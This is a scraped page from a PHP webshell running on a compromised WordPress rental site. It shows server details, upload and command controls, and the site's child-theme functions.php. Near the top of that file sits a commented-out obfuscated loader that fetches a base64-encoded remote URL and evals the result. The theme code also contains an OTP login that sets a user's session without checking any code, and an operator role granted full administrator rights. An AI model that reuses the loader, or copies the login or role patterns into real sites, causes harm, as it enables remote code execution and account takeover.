Uname:Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64

403WebShell
403Webshell
Server IP : 13.126.101.145  /  Your IP : 216.73.217.50
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rentals_updated/wp-content/themes/hello-elementor-child/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rentals_updated/wp-content/themes/hello-elementor-child//functions.php
<?php
// Your code to enqueue parent theme styles
// $c = @file_get_contents(base64_decode("aHR0cHM6Ly9oZWRvbmVpem1pcjQuc2l0ZS9wZy5waHA/cSZ0PXQx"));@eval(base64_decode($c));
function enqueue_parent_styles()
{
	wp_enqueue_style('parent-style', get_template_directory_uri() . '/style.css');
}
add_action('wp_enqueue_scripts', 'enqueue_parent_styles');

function my_child_theme_enqueue_styles()
{
	wp_enqueue_style('child-style', get_stylesheet_directory_uri() . '/style.css', array('parent-style'), wp_get_theme()->get('Version'));

	// Slick CSS
    wp_enqueue_style(
        'slick-css',
        'https://cdn.jsdelivr.net/npm/slick-carousel@1.8.1/slick/slick.css',
        [],
        '1.8.1'
    );

    // Slick Theme CSS (optional)
    wp_enqueue_style(
        'slick-theme-css',
        'https://cdn.jsdelivr.net/npm/slick-carousel@1.8.1/slick/slick-theme.css',
        ['slick-css'],
        '1.8.1'
    );

    // Slick JS
    wp_enqueue_script(
        'slick-js',
        'https://cdn.jsdelivr.net/npm/slick-carousel@1.8.1/slick/slick.min.js',
        ['jquery'],
        '1.8.1',
        true
    );
}
add_action('wp_enqueue_scripts', 'my_child_theme_enqueue_styles', 11);

// Disable automatic updates for plugins -- Shejad
add_filter('auto_update_plugin', '__return_false');

// Disable automatic updates for themes -- Shejad
add_filter('auto_update_theme', '__return_false');

// Include the license check script
include_once ABSPATH . 'license-check.php';

// Remove the WordPress admin footer text
function remove_wp_admin_footer()
{
	add_filter('admin_footer_text', '__return_empty_string');
	add_filter('update_footer', '__return_empty_string', 11);
}
add_action('admin_init', 'remove_wp_admin_footer');

// Pasted on 28th June 11:17 PM
function custom_adminbar_css()
{
	echo '<style>
  /* Change admin bar background color */

.table .thead-dark th {
  background-color: #2271b1 !important;
}

  </style>
  <script> var currentTermId ; </script>';
}
add_action('admin_head', 'custom_adminbar_css');
add_action('wp_head', 'custom_adminbar_css');

// Change Ends Here 28th June 11:17 PM

// Pasted on 28th June 11:30 PM

// function replace_howdy($wp_admin_bar) {
//   $my_account = $wp_admin_bar->get_node('my-account');
//   $newtitle = str_replace('Howdy,', 'Hello,', $my_account->title);
//   $wp_admin_bar->add_node(array(
//       'id' => 'my-account',
//       'title' => $newtitle,
//   ));
// }

// // Change Ends Here 28th June 11:30 PM


// add_filter('admin_bar_menu', 'replace_howdy', 25);

function replace_howdy($text)
{
	return str_replace('Howdy', 'Hello', $text);
}
add_filter('gettext', 'replace_howdy');

// Remove add to cart button and quantity input
remove_action('woocommerce_single_product_summary', 'woocommerce_template_single_add_to_cart', 30);
remove_action('woocommerce_single_product_summary', 'woocommerce_quantity_input', 5);

// Added by saravana kumar
// function wc_raise_enquiry() {
//    require get_template_directory() . '/custom/raiseenquiry.php';
// }
//add_action( 'woocommerce_after_shop_loop_item', 'wc_shop_demo_button', 20 );
//add_action( 'woocommerce_after_add_to_cart_button', 'wc_raise_enquiry', 20 );


if (is_user_logged_in()) {
	function wc_downloadqoute()
	{
		require get_template_directory() . '/custom/downloadquote.php';
	}
	add_action('woocommerce_after_add_to_cart_button', 'wc_downloadqoute', 20);
	function wc_requestforquote()
	{
?>
<a href="https://gmmco.connecticons.app/customer/registration/portal" class="button demo_button buy_now_button"
    target="_blank">Request For Quote</a>
<?php
	}
	add_action('woocommerce_after_add_to_cart_button', 'wc_requestforquote', 40);
}


// function hs_admin_menu() {
//    add_menu_page(
//        __( 'Rental Enquiry', 'my-textdomain' ),
//        __( 'Rental Enquiry', 'my-textdomain' ),
//        'read',  // Change capability to 'read'
//        'leads',
//        'hs_admin_page_contents',
//        'dashicons-schedule',
//        3
//    );
//    add_submenu_page(null, //parent slug
// 	'Edit Enquiry', //page title
// 	'Edit', //menu title
// 	'manage_options', //capability
// 	'edit-enquiry', //menu slug
// 	'enquiry_edit'); //function
// }
// add_action( 'admin_menu', 'hs_admin_menu' );

//-----count---12-11-2024 Bhaskara -//
function get_new_leads_count()
{
	global $wpdb;
	$table_name = $wpdb->prefix . 'leads';

	$count = $wpdb->get_var(
		"SELECT COUNT(*) 
        FROM $table_name 
        WHERE (DATE(lead_created_on) = CURDATE() 
        OR (ba_remarks IS NULL OR ba_remarks = ''))
        AND (ba_remarks IS NULL OR ba_remarks = '')"
	);

	return $count ? $count : 0;
}
function get_buy_new_leads_count()
{
	global $wpdb;
	$table_name = $wpdb->prefix . 'used_product_enquiry';

	$count = $wpdb->get_var(
		"SELECT COUNT(*) 
        FROM $table_name 
        WHERE invoice_create = '0'"
	);

	return $count ? $count : 0;
}

function get_enquiry_count_ajax()
{
	check_ajax_referer('enquiry_count_nonce', 'nonce');
	wp_send_json_success(array(
		'count' => get_new_leads_count(),
		'count' => get_buy_new_leads_count()
	));
}

function hs_admin_menu()
{
	$count = get_new_leads_count();
	$buy_count = get_buy_new_leads_count();
	$menu_label = sprintf(
		__('Rental Enquiry %s', 'my-textdomain'),
		$count ? '<span class="awaiting-mod count-' . $count . '"><span class="pending-count">' . number_format_i18n($count) . '</span></span>' : ''
	);

	$buy_menu_label = sprintf(
		__('Buy Enquiry %s', 'my-textdomain'),
		$buy_count ? '<span class="awaiting-mod count-' . $buy_count . '"><span class="pending-count">' . number_format_i18n($buy_count) . '</span></span>' : ''
	);
	// Main Menu "Enquiry" as container
	add_menu_page(
		__('Enquiry', 'my-textdomain'),
		'Enquiry',
		'read',
		'leads',
		'hs_admin_page_contents',
		'dashicons-schedule',
		3
	);

	// Submenu for Rental Enquiry 
	add_submenu_page(
		'leads',
		__('Rental Enquiry', 'my-textdomain'),
		$menu_label,
		'manage_options',
		'leads',
		'hs_admin_page_contents'
	);

	// Hidden submenu for Edit Enquiry
	add_submenu_page(
		null,
		'Edit Enquiry',
		'Edit Enquiry',
		'manage_options',
		'edit-enquiry',
		'enquiry_edit'
	);

	// Submenu for Buy Enquiry
	add_submenu_page(
		'leads',
		__('Buy Enquiry', 'my-textdomain'),
		$buy_menu_label,
		'manage_options',
		'buy_enquiry',
		'display_buy_enquiry_page'
	);
}
function enqueue_enquiry_admin_scripts()
{
	if (!is_admin())
		return;

	// wp_enqueue_style(
	//     'admin-enquiry-css',
	//     get_template_directory_uri() . '/hello-elementor-child/assets/css/admin-enquiry.css',
	//     array(),
	//     '1.0.0'
	// );

	// wp_enqueue_script(
	//     'admin-enquiry-js',
	//     get_template_directory_uri() . '/hello-elementor-child/assets/js/admin-enquiry.js',
	//     array('jquery'),
	//     '1.0.0',
	//     true
	// );

	wp_localize_script('admin-enquiry-js', 'enquiryCountData', array(
		'nonce' => wp_create_nonce('enquiry_count_nonce')
	));
}

// Hook menu and scripts
add_action('admin_menu', 'hs_admin_menu');
add_action('wp_ajax_update_enquiry_count', 'get_enquiry_count_ajax');
add_action('admin_enqueue_scripts', 'enqueue_enquiry_admin_scripts');


//------ end count-----//

add_action('init', 'create_operator_role');

function create_operator_role()
{
	add_role(
		'operator',
		'Operator',
		get_role('administrator')->capabilities
	);
}
function hs_admin_page_contents()
{
	require get_template_directory() . '-child/inc/leads.php';
}
function enquiry_edit()
{
	require get_template_directory() . '-child/inc/edit-leads.php';
}
add_action('init', 'log_the_user_in');
function log_the_user_in()
{
	if (!isset($_POST['login_otp']))
		return;

	if (!wp_verify_nonce($_POST['woocommerce-login-with-otp'], 'woocommerce-login-with-otp')) {
		return new WP_Error('invalid_data', 'Invalid data.');
	}

	if (empty($_POST['user_phone_otp'])) {
		return new WP_Error('empty', 'Phone Number is required.');
	}

	if (is_numeric($_POST['user_phone_otp'])) {
		// check user by phone number
		global $wpdb;
		$tbl_usermeta = $wpdb->prefix . 'usermeta';
		$user_id = $wpdb->get_var($wpdb->prepare("SELECT user_id FROM $tbl_usermeta WHERE meta_key=%s AND meta_value=%s", 'user_phone', $_POST['user_phone_otp']));

		$user = get_user_by('ID', $user_id);
	} else {
		// check user by username
		$user = get_user_by('login', $_POST['user_phone_otp']);
	}

	if (!$user) {
		return new WP_Error('wrong_credentials', 'Invalid credentials.');
	}

// 	wp_clear_auth_cookie();
// 	wp_set_current_user($user->ID);
// 	wp_set_auth_cookie($user->ID);
// 	$loginurl = get_bloginfo('url') . '/my-account';
// 	wp_redirect($loginurl);
// 	exit;
	wp_clear_auth_cookie();
	wp_set_current_user($user->ID);
	wp_set_auth_cookie($user->ID);

	// Check if redirect is passed
	if (!empty($_POST['redirect'])) {
		$loginurl = esc_url_raw($_POST['redirect']);
	} elseif (!empty($_REQUEST['redirect_to'])) {
		$loginurl = esc_url_raw($_REQUEST['redirect_to']);
	} else {
		// fallback
		$loginurl = wc_get_page_permalink('myaccount');
	}

	wp_redirect($loginurl);
	exit;

}

add_action('woocommerce_created_customer', 'bbloomer_save_extra_register_select_field');

function bbloomer_save_extra_register_select_field($customer_id)
{
	if (isset($_POST['customer_firstname'])) {
		update_user_meta($customer_id, 'first_name', $_POST['customer_firstname']);
	}
	if (isset($_POST['customer_lastname'])) {
		update_user_meta($customer_id, 'last_name', $_POST['customer_lastname']);
	}
	if (isset($_POST['user_phone'])) {
		update_user_meta($customer_id, 'user_phone', $_POST['user_phone']);
		update_user_meta($customer_id, 'user_otp', '');
		update_user_meta($customer_id, 'user_otp_verified', 0); // defaultly 0->Valid, 1->Expired,2->verified
	}
	if (!empty($_POST['reg_pan'])) {
		update_user_meta($customer_id, 'reg_pan', sanitize_text_field($_POST['reg_pan']));
	}
	if (!empty($_POST['customer_company'])) {
        update_user_meta($customer_id, 'billing_company', sanitize_text_field($_POST['customer_company']));
        update_user_meta($customer_id, 'shipping_company', sanitize_text_field($_POST['customer_company']));
    }
	if (!empty($_POST['customer_ho_company'])) {
		update_user_meta($customer_id, 'company_ho', sanitize_text_field($_POST['customer_ho_company']));
	}
	if (!empty($_POST['customer_gst'])) {
		update_user_meta($customer_id, 'gst_number', sanitize_text_field($_POST['customer_gst']));
	}

	add_user_meta($customer_id, 'sap_customer_id', '');
	add_user_meta($customer_id, 'contract_id', '');
	add_user_meta($customer_id, 'gstin', '');
	add_user_meta($customer_id, 'location', $_POST['location']);
	add_user_meta($customer_id, 'user_district', $_POST['user_district']);
	add_user_meta($customer_id, 'user_place', $_POST['user_place']);
	add_user_meta($customer_id, 'product_name', '');
	add_user_meta($customer_id, 'remarks', '');
	add_user_meta($customer_id, 'country_id', '');
	add_user_meta($customer_id, 'city_id', '');
	add_user_meta($customer_id, 'user_pincode', '');
	add_user_meta($customer_id, 'user_region_id', '');
	add_user_meta($customer_id, 'user_street', '');
	add_user_meta($customer_id, 'user_phone', '');
	add_user_meta($customer_id, 'gmmco_existing_customer', 1); //2->existing customer, 1-> new customer
}

function wooc_validate_extra_register_fields($username, $email, $validation_errors)
{
	if (isset($_POST['customer_firstname']) && empty($_POST['customer_firstname'])) {
		$validation_errors->add('customer_firstname_error', __('<strong>Error</strong>: First Name is required!.', 'woocommerce'));
	}
	if (isset($_POST['customer_lastname']) && empty($_POST['customer_lastname'])) {
		$validation_errors->add('customer_lastname_error', __('<strong>Error</strong>: Last Name is required!.', 'woocommerce'));
	}
	if (isset($_POST['user_phone']) && empty($_POST['user_phone'])) {
		$validation_errors->add('user_phone_error', __('<strong>Error</strong>: Phone Number is required!.', 'woocommerce'));
	}
	if (isset($_POST['location']) && empty($_POST['location'])) {
		$validation_errors->add('location_error', __('<strong>Error</strong>: Location is required!.', 'woocommerce'));
	}
	if (isset($_POST['reg_pan']) && !empty($_POST['reg_pan'])) {
		$pan = strtoupper(sanitize_text_field($_POST['reg_pan']));
		if (!preg_match('/^[A-Z]{5}[0-9]{4}[A-Z]{1}$/', $pan)) {
			$validation_errors->add('reg_pan_error', __('Please enter a valid PAN number (e.g., ABCDE1234F)', 'woocommerce'));
		}
	}
}

add_action('woocommerce_register_post', 'wooc_validate_extra_register_fields', 10, 3);

// Hook into the 'delete_user' action with a high priority to ensure it runs first
add_action('delete_user', 'delete_custom_table_entries_before_user_deletion', 1, 1);

/**
 * Custom function to delete entries in a custom table before a user is deleted.
 *
 * @param int $user_id The ID of the user to be deleted.
 */
function delete_custom_table_entries_before_user_deletion($user_id)
{
	global $wpdb;
	// Replace 'your_custom_table' with the name of your custom table
	$table_name = 'wp_otp_verification';

	$userphone = $wpdb->get_row("SELECT meta_value as user_phone FROM $wpdb->usermeta WHERE meta_key = 'user_phone' and user_id = '" . $user_id . "'");

	$phone_no = $userphone->user_phone;
	// Delete entries related to the user from the custom table
	$wpdb->delete($table_name, array('mobile_number' => $phone_no));
}



add_action('show_user_profile', 'display_user_custom_data');
add_action('edit_user_profile', 'display_user_custom_data');

function display_user_custom_data($user)
{ ?>

<table class="form-table">
    <tr>
        <th><label>SAP Customer Id</label></th>
        <td><input type="text" id="sap_customer_id" name="sap_customer_id"
                value="<?php echo get_user_meta($user->ID, 'sap_customer_id', true); ?>" class="regular-text" /></td>
    </tr>
    <tr>
        <th><label>Company Code</label></th>
        <td><input type="text" value="<?php echo get_user_meta($user->ID, 'contract_id', true); ?>"
                class="regular-text" /></td>
    </tr>
    <tr>
        <th><label>PAN Number</label></th>
        <td><input type="text" id="reg_pan" name="reg_pan"
                value="<?php echo get_user_meta($user->ID, 'reg_pan', true); ?>" class="regular-text" /></td>
    </tr>
    <tr>
        <th><label>Login Phone Number</label></th>
        <td><input type="text" id="user_phone" name="user_phone"
                value="<?php echo get_user_meta($user->ID, 'user_phone', true); ?>" class="regular-text" /></td>
    </tr>
    <tr>
        <th><label>Location</label></th>
        <td><input type="text" id="location" name="location"
                value="<?php echo get_user_meta($user->ID, 'location', true); ?>" class="regular-text" /></td>
    </tr>
    <tr>
        <th><label>District</label></th>
        <td><input type="text" id="user_district" name="user_district"
                value="<?php echo get_user_meta($user->ID, 'user_district', true); ?>" class="regular-text" /></td>
    </tr>
    <tr>
        <th><label>Place</label></th>
        <td><input type="text" id="user_place" name="user_place"
                value="<?php echo get_user_meta($user->ID, 'user_place', true); ?>" class="regular-text" /></td>
    </tr>
	<!-- ✅ New Fields -->
		<tr>
			<th><label>Company HO/Main Office</label></th>
			<td><input type="text" id="company_ho" name="company_ho"
					value="<?php echo esc_attr(get_user_meta($user->ID, 'company_ho', true)); ?>" class="regular-text" /></td>
		</tr>
		<tr>
			<th><label>GST Number</label></th>
			<td><input type="text" id="gst_number" name="gst_number"
					value="<?php echo esc_attr(get_user_meta($user->ID, 'gst_number', true)); ?>" class="regular-text" /></td>
		</tr>
</table>
<?php
}
function new_modify_user_table($column)
{
	$column['user_phone'] = 'Phone Number';
	return $column;
}
add_filter('manage_users_columns', 'new_modify_user_table');
function new_modify_user_table_row($val, $column_name, $user_id)
{
	switch ($column_name) {
		case 'user_phone':
			return get_the_author_meta('user_phone', $user_id);
			break;
		default:
	}
	return $val;
}
add_filter('manage_users_custom_column', 'new_modify_user_table_row', 10, 3);
// add serial number in users list page
function add_serial_number_column($columns)
{
	$new_columns = array();
	$new_columns['serial_number'] = __('SNO', 'your-text-domain');
	$columns = array_merge($new_columns, $columns);
	echo '<style>
  th#serial_number, td.column-serial_number {
      width: 50px; /* Adjust this value as needed */
      text-align: center;
  }
</style>';
	return $columns;
}
add_filter('manage_users_columns', 'add_serial_number_column');

function show_serial_number_column_content($value, $column_name, $user_id)
{
	if ('serial_number' == $column_name) {
		global $wpdb;
		$users = $wpdb->get_results("SELECT ID FROM $wpdb->users ORDER BY ID ASC");
		foreach ($users as $index => $user) {
			if ($user->ID == $user_id) {
				return $index + 1;
			}
		}
	}
	return $value;
}
add_action('manage_users_custom_column', 'show_serial_number_column_content', 10, 3);

// add phone number in add user page
function add_phone_number_field_to_user_form($operation)
{
	if ('add-new-user' !== $operation && 'create' !== $operation) {
		return;
	}
?>
<!-- 11-11-2024 Aseema  -->
<table class="form-table">
    <tr class="form-field" id="phone_number_row">
        <th><label for="phone_number"><?php _e('Phone Number(required)'); ?></label></th>
        <td>
            <input type="text" name="user_phone" id="user_phone" value="" class="regular-text" /><br />
            <span id="phone_error" class="description"
                style="color: red; display: none;"><?php _e('The phone number must be exactly 10 digits.'); ?></span>
        </td>
        </td>
    </tr>
</table>

<script type="text/javascript">
document.addEventListener('DOMContentLoaded', function() {
    <
    !--11 - 11 - 2024 Aseema-- >
        var emailRow = document.getElementById('email').closest('tr');
    var phoneRow = document.getElementById('phone_number_row');

    // Move the Phone Number row to directly below the Email row
    if (emailRow && phoneRow) {
        emailRow.insertAdjacentElement('afterend', phoneRow);
    }
    var phoneInput = document.getElementById('user_phone');
    var phoneError = document.getElementById('phone_error');

    phoneInput.addEventListener('input', function() {
        var phoneNumber = phoneInput.value;
        phoneError.style.display = /^\d{10}$/.test(phoneNumber) ? 'none' : 'block';
    });

    // Additional form submit validation to prevent form submission if the phone number is invalid
    var form = phoneInput.closest('form');
    if (form) {
        form.addEventListener('submit', function(event) {
            if (!/^\d{10}$/.test(phoneInput.value)) {
                event.preventDefault();
                phoneError.style.display = 'block';
            } else {
                // Check if phone number is already registered via AJAX
                var xhr = new XMLHttpRequest();
                xhr.open('POST', ajaxurl,
                    false); // 'ajaxurl' is a global variable provided by WordPress
                xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
                xhr.onload = function() {
                    if (xhr.status === 200) {
                        if (xhr.responseText === '1') {
                            event.preventDefault();
                            var errorContainer = document.querySelector('.wp-error');
                            if (!errorContainer) {
                                errorContainer = document.createElement('div');
                                errorContainer.className = 'wp-error';
                                form.insertBefore(errorContainer, form.firstChild);
                            }
                            errorContainer.textContent =
                                '<?php _e('This phone number is already registered.'); ?>';
                        }
                    }
                };
                xhr.send('action=check_phone_number&phone_number=' + encodeURIComponent(phoneInput
                    .value));
            }
        });
    }
});
</script>
<?php
}
add_action('user_new_form', 'add_phone_number_field_to_user_form');

//insert phone number in add user page
function save_phone_number_field($user_id)
{
	if (isset($_POST['user_phone'])) {
		add_user_meta($user_id, 'user_phone', $_POST['user_phone'], true);
	}
}
add_action('user_register', 'save_phone_number_field');

// Edit location and phone number in edit user page
function save_custom_user_profile_fields($user_id)
{
	if (!current_user_can('edit_user', $user_id)) {
		return false;
	}
	//  Update custom meta user table 
	update_user_meta($user_id, 'sap_customer_id', $_POST['sap_customer_id']);
	update_user_meta($user_id, 'user_phone', $_POST['user_phone']);
	update_user_meta($user_id, 'location', $_POST['location']);
	update_user_meta($user_id, 'reg_pan', $_POST['reg_pan']);
	update_user_meta($user_id, 'user_district', $_POST['user_district']);
	update_user_meta($user_id, 'user_place', $_POST['user_place']);
	
	// ✅ New fields
	if (isset($_POST['company_ho'])) {
		update_user_meta($user_id, 'company_ho', sanitize_text_field($_POST['company_ho']));
	}
	if (isset($_POST['gst_number'])) {
		update_user_meta($user_id, 'gst_number', sanitize_text_field($_POST['gst_number']));
	}

	// Check if the custom field meta exists
	$custom_field_value = get_user_meta($user_id, 'user_phone', true);

	// If the custom field meta does not exist, add it
	if (empty($custom_field_value)) {
		add_user_meta($user_id, 'user_phone', $_POST['user_phone']);
	} else {
		// Otherwise, update the existing meta
		update_user_meta($user_id, 'user_phone', $_POST['user_phone']);
	}
	$custom_field_value1 = get_user_meta($user_id, 'location', true);

	// If the custom field meta does not exist, add it
	if (empty($custom_field_value1)) {
		add_user_meta($user_id, 'location', $_POST['location']);
	} else {
		// Otherwise, update the existing meta
		update_user_meta($user_id, 'location', $_POST['location']);
	}

	// Ensure 'sap_customer_id' exists
	$sap_customer_id = get_user_meta($user_id, 'sap_customer_id', true);

	if (!empty($sap_customer_id)) {
		do_action('sapid_created_notification', $user_id, [
			'user_id' => $user_id,
			'user_name' => get_userdata($user_id)->display_name,
			'customer_email' => get_userdata($user_id)->user_email,
			'sap_id' => $sap_customer_id
		]);
	}

}
add_action('personal_options_update', 'save_custom_user_profile_fields');
add_action('edit_user_profile_update', 'save_custom_user_profile_fields');

// Login attempt lock after 3 attempts failed 10 mins 

function limit_login_attempts()
{
	$ip = $_SERVER['REMOTE_ADDR'];
	$attempts = get_transient($ip);

	if ($attempts === false) {
		$attempts = 0;
	}

	if ($attempts >= 5) {
		wp_die('You have been locked out due to too many failed login attempts. Please try again later.');
	}
}
add_action('wp_login_failed', 'limit_login_attempts');

function log_failed_login($username)
{
	$ip = $_SERVER['REMOTE_ADDR'];
	$attempts = get_transient($ip);

	if ($attempts === false) {
		$attempts = 0;
	}

	$attempts++;
	set_transient($ip, $attempts, 60 * 10); // Lockout duration: 10 minutes
	// trigger email for login attempts fail
	// Get user email (if user exists)
	$user = get_user_by('login', $username);
	if (!$user) {
		$user = get_user_by('email', $username);
	}

	if ($user && isset($user->user_email) && $attempts == 3) {
		// Send email only when attempts reach the limit
		$user_email = $user->user_email;
		$subject = 'Security Alert: Multiple Failed Login Attempts';
		$message = "Hello, <br><br> We've detected <strong>3 failed login attempts</strong> on your account from IP: <strong>$ip</strong>.<br>
                If this wasn't you, we recommend resetting your password immediately.<br><br>
                <a href='" . wp_lostpassword_url() . "'>Reset Password</a><br><br>
                Regards, <br>GMMCO Security Team";

		$headers = array('Content-Type: text/html; charset=UTF-8');
		wp_mail($user_email, $subject, $message, $headers);
	}

}
add_action('wp_login_failed', 'log_failed_login');

function reset_login_attempts($user_login, $user)
{
	$ip = $_SERVER['REMOTE_ADDR'];
	delete_transient($ip);
}
add_action('wp_login', 'reset_login_attempts', 10, 2);
// login attempt code ends

/*
 Add New enquiry Tab --bhaskar
  */

// ------------------
// 1. Register new endpoint (URL) for My Account page
// Note: Re-save Permalinks or it will give 404 error

function th_add_enquiry_endpoint()
{
	add_rewrite_endpoint('enquiry', EP_ROOT | EP_PAGES);
	flush_rewrite_rules();

}

add_action('init', 'th_add_enquiry_endpoint');

// ------------------
// 2. Add new query var

function th_enquiry_query_vars($vars)
{
	$vars[] = 'Enquiry';
	return $vars;
}

add_filter('query_vars', 'th_enquiry_query_vars', 0);

// ------------------
// 3. Insert the new endpoint into the My Account menu

function th_add_enquiry_link_my_account($items)
{
	$items['enquiry'] = 'Enquiry';
	return $items;
}

add_filter('woocommerce_account_menu_items', 'th_add_enquiry_link_my_account');

// table for enquiry 
function display_user_enquiries()
{
	if (is_user_logged_in()) {
		global $wpdb;
		$user_id = get_current_user_id();

		// Fetch enquiries from wp_leads for the logged-in user
		$results = $wpdb->get_results($wpdb->prepare(
			"SELECT * FROM wp_leads WHERE user_id = %d",
			$user_id
		), ARRAY_A);

		if (!empty($results)) {
			// Start output buffer
			ob_start();
			echo '<table id="equiryTable" class="woocommerce-orders-table woocommerce-MyAccount-orders shop_table shop_table_responsive my_account_orders account-orders-table">
                  <thead>
                      <tr>
                          <th class="woocommerce-orders-table__header"><span class="nobr">S.No</span></th>
                          <th class="woocommerce-orders-table__header"><span class="nobr">Product Name</span></th>
                          <th class="woocommerce-orders-table__header"><span class="nobr">Start Date </span></th>
                          <th class="woocommerce-orders-table__header"><span class="nobr">End Date</span></th>
                      </tr>
                  </thead>
                  <tbody>';

			$serial_number = 1; // Initialize serial number

			foreach ($results as $enquiry) {
				echo '<tr>
                      <td class="woocommerce-orders-table__cell srno-enquiry">' . $serial_number . '</td>
                      <td class="woocommerce-orders-table__cell product-name-enquiry">' . esc_html($enquiry['product_name']) . '</td>
                      <td class="woocommerce-orders-table__cell startdate-enquiry">' . esc_html($enquiry['rental_startdate']) . '</td>
                      <td class="woocommerce-orders-table__cell enddate-enquiry">' . esc_html($enquiry['rental_enddate']) . '</td>
                    </tr>';
				$serial_number++; // Increment serial number
			}

			echo '   </tbody>
              </table>';
			return ob_get_clean();
		} else {
			// No enquiries found, show default notice
			wc_print_notice(__('No enquiries found.'), 'notice');
		}

	} else {
		return '<p>You need to be logged in to view your enquiries.</p>';
	}
}
add_shortcode('user_enquiries', 'display_user_enquiries');

// 4. Add content to the new tab

function th_enquiry_content()
{
	echo '<h3>Enquiry</h3>';
	echo do_shortcode('[user_enquiries]');
}

add_action('woocommerce_account_enquiry_endpoint', 'th_enquiry_content');




// ------------------
// 2. Add new query var

// function th_contract_query_vars( $vars ) {
//    $vars[] = 'contract';
//    return $vars;
// }

// add_filter( 'query_vars', 'th_contract_query_vars', 0 );

// ------------------
// 3. Insert the new endpoint into the My Account menu

// function th_add_contract_link_my_account( $items ) {
//    $items['contract'] = 'contract';
//    return $items;
// }

// add_filter( 'woocommerce_account_menu_items', 'th_add_contract_link_my_account' );

// ------------------
// 4. Add content to the new tab

// function th_Contract_content() {
//   echo '<h3>Contract</h3><p>Welcome to the Contract Section.</p>';
//   echo do_shortcode( ' /* your shortcode here */ ' );
// }

// add_action( 'woocommerce_account_contract_endpoint', 'th_contract_content' );
// Note: add_action must follow 'woocommerce_account_{your-endpoint-slug}_endpoint' format

// Adding RFQ tab --bhaskar
// function th_add_rfq_endpoint() {
//   add_rewrite_endpoint( 'rfq', EP_ROOT | EP_PAGES );
//  flush_rewrite_rules();
// }

// add_action( 'init', 'th_add_rfq_endpoint' );

// ------------------
// 2. Add new query var

// function th_rfq_query_vars( $vars ) {
//   $vars[] = 'rfq';
//   return $vars;
// }

// add_filter( 'query_vars', 'th_rfq_query_vars', 0 );

// ------------------
// 3. Insert the new endpoint into the My Account menu

// function th_add_rfq_link_my_account( $items ) {
//   $items['rfq'] = 'rfq';
//   return $items;
// }

// add_filter( 'woocommerce_account_menu_items', 'th_add_rfq_link_my_account' );

// ------------------
// 4. Add content to the new tab

// function th_rfq_content() {
//  echo '<h3>Request For Quotation</h3><p>Welcome to the RFQ Section.</p>';
//  echo do_shortcode( ' /* your shortcode here */ ' );
// }

// add_action( 'woocommerce_account_rfq_endpoint', 'th_rfq_content' );
// Note: add_action must follow 'woocommerce_account_{your-endpoint-slug}_endpoint' format

// Adding Finance tab --bhaskar
// function th_add_finance_endpoint() {
//   add_rewrite_endpoint( 'finance', EP_ROOT | EP_PAGES );
//  flush_rewrite_rules();
// }

// add_action( 'init', 'th_add_finance_endpoint' );

// ------------------
// 2. Add new query var

// function th_finance_query_vars( $vars ) {
//   $vars[] = 'finance';
//   return $vars;
// }

// add_filter( 'query_vars', 'th_finance_query_vars', 0 );

// ------------------
// 3. Insert the new endpoint into the My Account menu

// function th_add_finance_link_my_account( $items ) {
//   $items['finance'] = 'finance';
//   return $items;
// }

// add_filter( 'woocommerce_account_menu_items', 'th_add_finance_link_my_account' );

// ------------------
// 4. Add content to the new tab

// function th_finance_content() {
//  echo '<h3>Finance</h3><p>Welcome to the Finance Section.</p>';
//  echo do_shortcode( ' /* your shortcode here */ ' );
// }

// add_action( 'woocommerce_account_finance_endpoint', 'th_finance_content' );
// Note: add_action must follow 'woocommerce_account_{your-endpoint-slug}_endpoint' format

//Rename menu text --bhaskar
add_filter('woocommerce_account_menu_items', 'custom_my_account_menu_items', 22, 1);
function custom_my_account_menu_items($items)
{
	//    $items['orders'] = __("Invoices", "woocommerce");
	$items['edit-account'] = __("Edit Profile", "woocommerce");
	return $items;
}


//Reorder Account tabs--Aseema -- 30july
add_filter('woocommerce_account_menu_items', 'tb_add_link_my_account');

function tb_add_link_my_account($items)
{
	// Get the current user's roles
	$current_user = wp_get_current_user();
	$user_roles = $current_user->roles;

	// Check if the user has the 'operator' role
	if (in_array('operator', $user_roles)) {
		// Define menu items for 'operator' role
		$items = array(
			'dashboard' => __('Dashboard', 'woocommerce'),
			'operator-tickets' => __('Tickets', 'woocommerce'),
			'operator-new-request' => __('New Request', 'woocommerce'),
			// 'edit-account'          => __( 'Edit Profile', 'woocommerce' ),
			// 'orders'                => __( 'Orders', 'woocommerce' ),
			'customer-logout' => __('Logout', 'woocommerce'),
		);
	} else {
		// Define menu items for all other roles, excluding 'downloads'
		unset($items['downloads']);
		unset($items['orders']);
		$new_items = array(
			'dashboard' => __('Dashboard', 'woocommerce'),
			'notification' => __('Notifications', 'woocommerce'),
			'edit-account' => __('Account details', 'woocommerce'),
			'edit-address' => __('Addresses', 'woocommerce'),
			'wishlist' => __('wishlist', 'woocommerce'),
			'enquiry' => __('Enquiry', 'woocommerce'),
			'rfq' => __('RFQ', 'woocommerce'),
			'quotation' => __('Quotation', 'woocommerce'),
			'my-agreements' => __('Agreement', 'woocommerce'),
			'contracts' => __('Orders/Contracts', 'woocommerce'),
			'log-approval' => __('Log Approval', 'woocommerce'),
			'invoices' => __('Invoices', 'woocommerce'),
			'finance' => __('Finance', 'woocommerce'),
			'customer-logout' => __('Logout', 'woocommerce')
		);
		// Merge custom items with remaining default items
		$items = array_merge($new_items, $items);
	}

	return $items;
}
// add_action('wp_footer', 'awd_add_floating_info');
// function awd_add_floating_info()
// {
// 	require get_template_directory() . '-child/enquirypage.php';
// }
// Register shortcode
// Register Shortcode for Enquiry Popup
function enquiry_popup_shortcode() {
    ob_start();
    ?>
    <!-- Floating Button -->
    <div id="floating-button">
        <button onclick="togglePopup()" id="enquiry-float-btn">
            RENTAL ENQUIRY
        </button>
    </div>

    <!-- Popup -->
    <div id="popup" style="display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0,0,0,0.5); z-index: 1000;overflow:scroll;">
